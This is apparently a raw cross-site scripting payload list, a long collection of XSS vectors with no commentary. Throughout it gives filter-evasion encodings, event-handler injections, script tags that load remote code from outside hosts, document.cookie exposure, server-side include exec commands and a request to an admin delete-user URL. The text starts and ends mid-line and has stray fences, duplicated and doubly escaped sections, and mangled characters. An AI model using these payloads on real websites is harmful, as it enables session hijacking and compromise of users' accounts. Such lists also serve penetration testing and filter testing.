DATAFORMATAS=HTML&gt;<\/SPAN&gt;
<XML ID=\"xss\"&gt;<I&gt;<B&gt;<IMG SRC=\"javas&lt;!-- --
&gt;cript&#58;alert('XSS')\"&gt;<\/B&gt;<\/I&gt;<\/XML&gt;
<SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"&gt;<\/SPAN&gt;
<XML SRC=\"xsstest&#46;xml\" ID=I&gt;<\/XML&gt;
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;<\/SPAN&gt;
<HTML&gt;<BODY&gt;
<?xml&#58;namespace prefix=\"t\" ns=\"urn&#58;schemas-microsoft-
com&#58;time\"&gt;
<?import namespace=\"t\" implementation=\"#default#time2\"&gt;
<t&#58;set attributeName=\"innerHTML\" to=\"XSS<SCRIPT
DEFER&gt;alert(&quot;XSS&quot;)&lt;\/SCRIPT&gt;\"&gt;
<\/BODY&gt;<\/HTML&gt;
<SCRIPT
SRC=\"http&#58;\/ha&#46;ckers&#46;org\/xss&#46;jpg\"&gt;<\/SCRIPT&gt;
<!--#exec cmd=\"\/bin\/echo '<SCR'\"--&gt;<!--#exec cmd=\"\/bin\/echo 'IPT
SRC=http&#58;\/ha&#46;ckers&#46;org\/xss&#46;js&gt;<\/SCRIPT&gt;\"--&gt;
<? echo('<SCR')';
echo('IPT&gt;alert(\"XSS\")&lt;\/SCRIPT&gt;'); ?&gt;
<IMG SRC=\"http&#58;\/www&#46;thesiteyouareon&#46;com\/somecommand&#46;php?
somevariables=maliciouscode\"&gt;
Redirect 302 /a&#46;jpg http&#58;\/victimsite&#46;com\/admin&#46;asp&deleteuser
<META HTTP-EQUIV=\"Set-Cookie\"
Content=\"USERID=<SCRIPT&gt;alert('XSS')&lt;\/SCRIPT&gt;\"&gt;
<HEAD&gt;<META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text\/html;
```

```

charset=UTF-7\&gt; &lt;/HEAD&gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
&lt;SCRIPT a=\"&gt;\
SRC=\"http&#58;\/\/ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT =\"&gt;\
SRC=\"http&#58;\/\/ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT a=\"&gt;\ ' '
SRC=\"http&#58;\/\/ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT \"a='&gt;\"
SRC=\"http&#58;\/\/ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT a=`&gt;`
SRC=\"http&#58;\/\/ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT a=\"&gt; '&gt;\"
SRC=\"http&#58;\/\/ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT&gt;document&#46;write(\"&lt;SCRI&lt;\/SCRIPT&gt;PT
SRC=\"http&#58;\/\/ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;A HREF=\"http&#58;\/\/66&#46;102&#46;7&#46;147\/\"&gt;XSS&lt;\/A&gt;
&lt;A
HREF=\"http&#58;\/\/%77%77%77%2E%67%6F%67%6C%65%2E%63%6F%6D\"&gt;XSS&lt;\/A&gt;
&lt;A HREF=\"http&#58;\/\/1113982867\/\"&gt;XSS&lt;\/A&gt;
&lt;A HREF=\"http&#58;\/\/0x42&#46;0x0000066&#46;0x7&#46;0x93\/\"&gt;XSS&lt;\/A&gt;
&lt;A HREF=\"http&#58;\/\/0102&#46;0146&#46;0007&#46;00000223\/\"&gt;XSS&lt;\/A&gt;
&lt;A HREF=\"htt p&#58;\/\/6 6&#46;000146&#46;0x7&#46;147\/\"&gt;XSS&lt;\/A&gt;
&lt;A HREF=\"\/www&#46;google&#46;com\/\"&gt;XSS&lt;\/A&gt;
&lt;A HREF=\"\/google\"&gt;XSS&lt;\/A&gt;
&lt;A HREF=\"http&#58;\/\/ha&#46;ckers&#46;org@google\"&gt;XSS&lt;\/A&gt;
&lt;A HREF=\"http&#58;\/\/google&#58;ha&#46;ckers&#46;org\"&gt;XSS&lt;\/A&gt;
&lt;A HREF=\"http&#58;\/\/google&#46;com\/\"&gt;XSS&lt;\/A&gt;
&lt;A HREF=\"http&#58;\/\/www&#46;google&#46;com&#46;\/\"&gt;XSS&lt;\/A&gt;
&lt;A
HREF=\"javascript&#058;document&#46;location='http&#58;\/\/www&#46;google&#46;com/
'\&gt;XSS&lt;\/A&gt;
&lt;A
HREF=\"http&#58;\/\/www&#46;gohttp&#58;\/\/www&#46;google&#46;com/ogle&#46;com/
\"&gt;XSS&lt;\/A&gt;
&lt;
%3C
&lt;
&lt;
&LT
&LT;
&#60
&#060
&#0060
&#00060
&#000060
&#0000060
&lt;
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
&#x3c;
&#x03c;
&#x003c;
&#x0003c;
&#x00003c;
&#x000003c;
&#x000003c;
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c

```

```
&#X0000003c
&#X3c;
&#X03c;
&#X003c;
&#X0003c;
&#X00003c;
&#X000003c;
&#X3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
&#x3C;
&#x03C;
&#x003C;
&#x0003C;
&#x00003C;
&#x000003C;
&#x000003C;
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
&#X3C;
&#X03C;
&#X003C;
&#X0003C;
&#X00003C;
&#X000003C;
\x3c
\x3C
\u003c
\u003C
<iframe src=http&#58;//ha&#46;ckers&#46;org/scriptlet&#46;html&gt;
<IMG SRC=\"javascript&#058;alert('XSS')\"
<SCRIPT SRC=//ha&#46;ckers&#46;org/&#46;js&gt;
<SCRIPT SRC=http&#58;//ha&#46;ckers&#46;org/xss&#46;js?&lt;B&gt;
< &lt;SCRIPT&gt;alert(\"XSS\");//&lt;&lt;/SCRIPT&gt;
<SCRIPT/SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
<BODY onload!#$%&()*~+-_&#46;,&#58;;?@&#91;/|&#93;^`=alert(\"XSS\")&gt;
<SCRIPT/XSS
SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
<IMG SRC=\"    javascript&#058;alert('XSS');\"&gt;
perl -e 'print \"&lt;SCR&#0IPT&gt;alert(\"XSS\")&lt;/SCR&#0IPT&gt;\";' &gt; out
perl -e 'print \"&lt;IMG SRC=java&#0script&#058;alert(\"XSS\")&gt;\";' &gt; out
<IMG SRC=\"jav&#x0D;ascript&#058;alert('XSS');\"&gt;
<IMG SRC=\"jav&#x0A;ascript&#058;alert('XSS');\"&gt;
<IMG SRC=\"jav&#x09;ascript&#058;alert('XSS');\"&gt;
<IMG
SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&
&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29&gt;
<IMG
SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#00
00112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0
000039&#0000088&#0000083&#0000083&#0000039&#0000041&gt;
<IMG SRC=javascript&#058;alert('XSS')&gt;
<IMG SRC=javascript&#058;alert(String&#46;fromCharCode(88,83,83))&gt;
<IMG \"\"&gt;&lt;SCRIPT&gt;alert(\"XSS\")&lt;/SCRIPT&gt;\"&gt;
<IMG SRC=`javascript&#058;alert(\"RSnake says, 'XSS'\")`&gt;
<IMG SRC=javascript&#058;alert(&quot;XSS&quot;)&gt;
<IMG SRC=JaVaScRiPt&#058;alert('XSS')&gt;
<IMG SRC=javascript&#058;alert('XSS')&gt;
```

```

<IMG SRC="\javascript&#058;alert('XSS');">
<SCRIPT SRC=http&#58;//ha&#46;ckers&#46;org/xss&#46;js&#46;js"></SCRIPT>
';!--\'<XSS&#46;js">=&{()}
';alert(String&#46;fromCharCode(88,83,83))//
\'';alert(String&#46;fromCharCode(88,83,83))//
\'";alert(String&#46;fromCharCode(88,83,83))//\'
\'";alert(String&#46;fromCharCode(88,83,83))//--&#46;&#46;</SCRIPT>
\'&#46;&#46;&#46;<SCRIPT>alert(String&#46;fromCharCode(88,83,83))&#46;</SCRIPT>
\'';alert(String.fromCharCode(88,83,83))//
\'';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//
/\';alert(String.fromCharCode(88,83,83))//--</
SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
';!--\'<XSS>=&{()}
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascrscriptipt:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG ""><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC=" &#14; javascript:alert('XSS');">
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
\'";alert('XSS');//
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
&#x0000script&#x0000alert(&#x0000XSS&#x0000)&#x0000/script&#x0000
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="background-image:
\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\006
1\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
<DIV STYLE="width: expression(alert('XSS'))">
<STYLE>@im\port\ja\vasc\ript:alert("XSS");</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
<XSS STYLE="xss:expression(alert('XSS'))">
exp/*<A
STYLE='no\xss:noxss("/*/*");xss:&#101;x&#x2F;*XSS*/*/*/*pression(alert("XSS"))'>
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
a="get";b="URL(ja\";c="vascr";d="ipt:ale";e="rt('XSS');\");eval(a+b+c+d+e);
<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?
import namespace="t" implementation="#default#time2"><t:set
attributeName="innerHTML" to="XSS&#46;js"></BODY></HTML>
DEFER&#46;js">alert("&quot;XSS&quot;")&#46;</SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT
SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<form id="test" /><button form="test"
formaction="javascript:alert(123)">TESTHTML5FORMACTION
<form><button formaction="javascript:alert(123)">crosssitespt
<frameset onload=alert(123)>
<!--
<style>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwwc2NyaXB0Pg==">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwwc2NyaXB0Pg==">
<embed src="javascript:alert(1)">
<? foo="><script>alert(1)</script>">
<! foo="><script>alert(1)</script>">
</ foo="><script>alert(1)</script>">
<script>({0:#0=alert/#0#/#0#(123)})</script>

```

```

<script>ReferenceError.prototype.__defineGetter__('name', function()
{alert(123)}),x</script>
<script>Object.__noSuchMethod__ = Function, [{}][0].constructor.__('alert(1)')
()</script>
<script src="#">{alert(1)}</script>;1
<script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(1)',384,null,'rsa-
dual-use')</script>
<svg xmlns="#"><script>alert(1)</script></svg>
<svg onload="javascript:alert(123)" xmlns="#"></svg>
<iframe xmlns="#" src="javascript:alert(1)"></iframe>
+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-
%2BADw-script+AD4-alert(document.location)%2BADw-/script%2BAD4-
+ACIAPgA8-script+AD4-alert(document.location)+ADw-/script+AD4APAAi-
%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-
%2Fscript%2BAD4APAAi-
%253cscript%253ealert(document.cookie)%253c/script%253e
&œ><s&#2b&#cript>alert(document.cookie)</script>
&œ><ScRiPt>alert(document.cookie)</script>
&œ><<script>alert(document.cookie);//<</script>
foo<script>alert(document.cookie)</script>
<scr<script>ipt>alert(document.cookie)</scr</script>ipt>
%22/%3E%3CBODY%20onload=â™document.write(%22%3Cs%22%2b%22cript%20src=http://
my.box.com/xss.js%3E%3C/script%3E%22)â™%3E
â™; alert(document.cookie); var foo=â™
foo\â™; alert(document.cookie);//â™;
</script><script >alert(document.cookie)</script>
<img src=asdf onerror=alert(document.cookie)>
<BODY ONLOAD=alert(â™XSSâ™)>
<script>alert(1)</script>
"><script>alert(String.fromCharCode(66, 108, 65, 99, 75, 73, 99, 101))</script>
<video src=1 onerror=alert(1)>
<audio src=1 onerror=alert(1)>
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//
";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//
--></SCRIPT>"><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'";!--"<XSS>=&{()}
0\<script>alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
<a onmouseover=alert(document.cookie)>xss link</a>
<a onmouseover=alert(document.cookie)>xss link</a>
<IMG """"><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=# onmouseover=alert('xss')">
<IMG SRC= onmouseover=alert('xss')">
<IMG onmouseover=alert('xss')">
<IMG SRC=/ onerror=alert(String.fromCharCode(88,83,83))"></img>
<IMG
SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#1
01;&#114;&#116;&#40;
&#39;&#88;&#83;&#83;&#39;&#41;>
<IMG
SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#00
00112&#0000116&#0000058&#0000097&
#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083
&#0000039&#0000041>

```

```
<IMG
SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&
#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
<IMG SRC=" &#14; javascript:alert('XSS');">
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<BODY onload!#$%&()*~+-_.,:;?@[/\|^`=alert("XSS")>
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
<SCRIPT SRC=//ha.ckers.org/.j>
<IMG SRC="javascript:alert('XSS')">
<iframe src=http://ha.ckers.org/scriptlet.html <
\";alert('XSS');//
</script><script>alert('XSS');</script>
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<IMG DYNsrc="javascript:alert('XSS')">
<IMG LOWsrc="javascript:alert('XSS')">
<STYLE>li {list-style-image:
url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
<IMG SRC='vbscript:msgbox("XSS")'>
<IMG SRC="livescript:[code]">
<BODY ONLOAD=alert('XSS')>
<BGSOUND SRC="javascript:alert('XSS');">
<BR SIZE="&{alert('XSS')}">
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
<STYLE>@im\port'\ja\vasc\rript:alert("XSS")';</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
exp/*<A STYLE='no\xss:noxss("*//*")';
xss:ex/*XSS*//*//*/pression(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A
CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')");}</STYLE>
<XSS STYLE="xss:expression(alert('XSS'))">
<XSS STYLE="behavior: url(xss.htc);">
&#x00000075&#x00000072&#x0000006C&#x00000028&#x0000006A&#x00000061&#x00000076&#x00000061&#x00000073&#x00000063&#x00000072&#x00000069&#x00000070&#x00000074&#x0000003A&#x00000061&#x0000006C&#x00000065&#x00000072&#x00000074&#x00000028&#x00000027&#x00000058&#x00000053&#x00000053&#x00000027&#x00000029&#x00000029">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html
base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<META HTTP-EQUIV="refresh" CONTENT="0;
URL=http://;URL=javascript:alert('XSS');">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="background-image:
\0075\0072\006C\0028'\006A\0061\0076\0061\0073\0063\0072\0069\0070\0074\003A\0061\006C\0065\0072\0074\0028\0027\0058\0053\0053\0027\0029'\0029">
<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">
<DIV STYLE="width: expression(alert('XSS'))">
<!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]>-->
<BASE HREF="javascript:alert('XSS');//">
```



```

<OBJECT TYPE="text/x-scriptlet"
DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
<!--#exec cmd="/bin/echo '<SCR'--><!--#exec cmd="/bin/echo 'IPT
SRC=http://ha.ckers.org/xss.js"></SCRIPT>'-->
<? echo('<SCR');echo('IPT>alert("XSS")</SCRIPT>'); ?>
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?
somevariables=maliciouscode">
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7">
</HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">" ' ' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT "a='>' " SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT
SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<A HREF="http://66.102.7.147/">XSS</A>
0\ autofocus/onfocus=alert(1)--><video/poster/ error=prompt(2)>"-confirm(3)-"
veris-->group<svg/onload=alert(/XSS/)//
#"><img src=M onerror=alert('XSS');>
element[attribute='<img src=x onerror=alert('XSS');>
[<blockquote cite=""]">[" onmouseover="alert('RVRSH3LL_XSS');" ]
%22;alert%28%27RVRSH3LL_XSS%29//
javascript:alert%281%29;
<w contenteditable id=x onfocus=alert()>
alert;pg("XSS")
<svg/onload=%26%23097lert%26lpar;1337)>
<script>for((i)in(self))eval(i)(1)</script>
<scr<script>ipt>alert(1)</scr</script>ipt><scr<script>ipt>alert(1)</scr</
script>ipt>
<sCR<script>iPt>alert(1)</SCr</script>IPt>
<a
href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">test</
a>
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onoffline="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onpagehide="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onpageshow="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onpopstate="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onresize="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onstorage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onblur="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oncontextmenu="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oninput="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oninvalid="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onreset="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onsearch="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onselect="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onsubmit="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onkeydown="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onkeypress="alert(String.fromCharCode(88,83,83))">

```

```

<IMG SRC=x onkeyup="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onclick="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondblclick="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmousedown="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmousemove="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmouseout="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmouseover="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmouseup="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmousewheel="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onwheel="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondrag="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondragend="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondragenter="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondragleave="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondragover="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondragstart="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondrop="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onscroll="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oncopy="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oncut="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onpaste="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onabort="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oncanplay="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oncanplaythrough="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oncuechange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondurationchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onemptied="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onended="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onloadeddata="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onloadedmetadata="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onloadstart="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onpause="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onplay="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onplaying="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onprogress="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onratechange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onseeked="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onseeking="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onstalled="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onsuspend="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ontimeupdate="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onvolumechange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onwaiting="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onshow="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ontoggle="alert(String.fromCharCode(88,83,83))">
<META onpaonpageonpagonpageonpageshowshowshowshowshow="alert(1)";
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<INPUT TYPE="BUTTON" action="alert('XSS')"/>
"><h1><IFRAME SRC="javascript:alert('XSS');"></IFRAME>">123</h1>
"><h1><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123</h1>
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
"><h1><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123</h1>
"></iframe><script>alert(`TEXT YOU WANT TO BE DISPLAYED`);</script><iframe
frameborder="0%EF%BB%BF
"><h1><IFRAME width="420" height="315"
SRC="http://www.youtube.com/embed/sxvccpasgTE" frameborder="0"
onmouseover="alert(document.cookie)"></IFRAME>123</h1>
"><h1><iframe width="420" height="315"
src="http://www.youtube.com/embed/sxvccpasgTE" frameborder="0"
allowfullscreen></iframe>123</h1>
"><h1><IFRAME width="420" height="315" frameborder="0"
onmouseover="document.location.href='https://www.youtube.com/channel/

```

UC9Qa\_gXarSmObPX3ooIQZr

```
g'"></IFRAME>Hover the cursor to the LEFT of this Message</h1>&ParamHeight=250
<IFRAME width="420" height="315" frameborder="0"
onload="alert(document.cookie)"></IFRAME>
"><h1><IFRAME SRC="javascript:alert('XSS');"></IFRAME>">123</h1>
"><h1><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123</h1>
<iframe src=http://xss.rocks/scriptlet.html <
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
<iframe src="&Tab;javascript:prompt(1)&Tab;">
<svg><style>{font-family&colon;'<iframe/onload=confirm(1)>'
<input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
<svg><script>alert&lpar;1&rpar; {Opera}
<img/src=`` onerror=this.onerror=confirm(1)
<form><isindex formaction="javascript&colon;confirm(1)"
<img src=``&NewLine; onerror=alert(1)&NewLine;
<script/&Tab; src='https://dl.dropbox.com/u/13018058/js.js' /&Tab;></script>
<Script 5-0*3+9/3=>prompt(1)</Script giveanswerhere=?
<iframe/src="data:text/html;&Tab;base64&Tab;;PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
<script /**/>/**/alert(1)/**/</script /**/
&#34;&#62;<h1/onmouseover='\u0061lert(1)'\>
<iframe/src="data:text/html,<svg &#111;&#110;load=alert(1)>">
<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-
equiv="refresh"/>
<svg><script xlink:href=data&colon;;window.open('https://www.google.com/')
</script>
<svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera}
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
<form><a
href="javascript:\u0061lert&#x28;1&#x29;">X</script><img/*src="worksinchrome&co
lon;prompt&#x28;1&#x29;"/*onerror='eval(src)'\>
<img/&#09;&#10;&#11; src=`` onerror=prompt(1)>
<form><iframe &#09;&#10;&#11; src="javascript&#58;alert(1)"&#11;&#10;&#09;;>
<a href="data:application/x-x509-user-
